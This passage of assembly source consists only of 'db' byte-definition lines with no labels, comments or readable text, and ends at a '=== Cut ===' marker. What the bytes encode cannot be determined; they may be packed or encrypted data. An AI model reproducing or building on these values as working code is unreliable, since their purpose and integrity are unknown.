        db      194,184,194,006,100,041,086,007,110,185
        db      117,025,101,011,102,007,150,187,051,006
        db      148,041,166,005,145,010,133,016,136,005
        db      081,031,034,187,130,019,133,210,073,214
        db      184,015,070,213,152,041,146,019,164,214
        db      164,213,120,013,134,005,119,031,113,210
        db      030,187,028,184,191,025,171,010,178,187
        db      160,041,182,185,011,184,014,025,101,041
        db      198,215,204,031,117,025,024,031,019,187
        db      120,184,195,025,238,007,198,185,099,006
        db      196,016,212,017,216,210,212,214,202,187
        db      209,025,192,005,251,014,236,016,228,005
        db      055,031,088,025,246,004,053,214,208,041
        db      244,185,212,214,068,187,035,210,033,041
        db      076,185,037,187,223,014,034,042,008,028
        db      221,184,186,187,005,026,021,009,008,184
        db      006,042,028,186,165,187,164,184,170,005
        db      010,042,018,028,175,026,253,028,144,184
        db      255,184,041,026,008,042,036,028,157,184
        db      156,005,032,042,018,018,058,186,022,042
        db      231,042,053,019,054,002,030,006,159,213
        db      088,006,159,214,102,042,078,187,248,042
        db      144,214,146,016,083,213,142,214,136,244
        db      090,212,078,209,232,184,083,026,071,009
        db      102,184,116,042,106,186,214,187,218,209
        db      216,026,177,212,120,184,096,212,100,184
        db      198,184,121,026,097,009,116,213,092,213
        db      113,042,152,019,145,006,091,016,138,209
        db      084,042,170,012,061,184,060,209,075,186
        db      073,209,038,213,182,006,068,028,065,184
        db      046,005,142,019,163,012,016,028,132,004
        db      022,186,025,026,176,009,115,042,113,042
        db      166,184,000,184,187,026,150,006,161,013
        db      162,012,156,005,167,024,200,042,226,006
        db      027,016,203,209,020,012,021,042,019,213
        db      017,006,012,214,014,028,206,009,013,184
        db      215,026,195,000,208,019,221,013,192,004
        db      244,184,086,184,233,026,200,006,243,013
        db      227,042,246,006,233,030,250,019,246,006
        db      041,213,226,006,033,028,230,003,037,184
        db      015,027,027,008,008,018,012,012,040,005
        db      028,185,190,027,209,043,028,018,027,019
        db      027,018,089,019,001,068,002,043,095,121
        db      117,093
=== Cut ===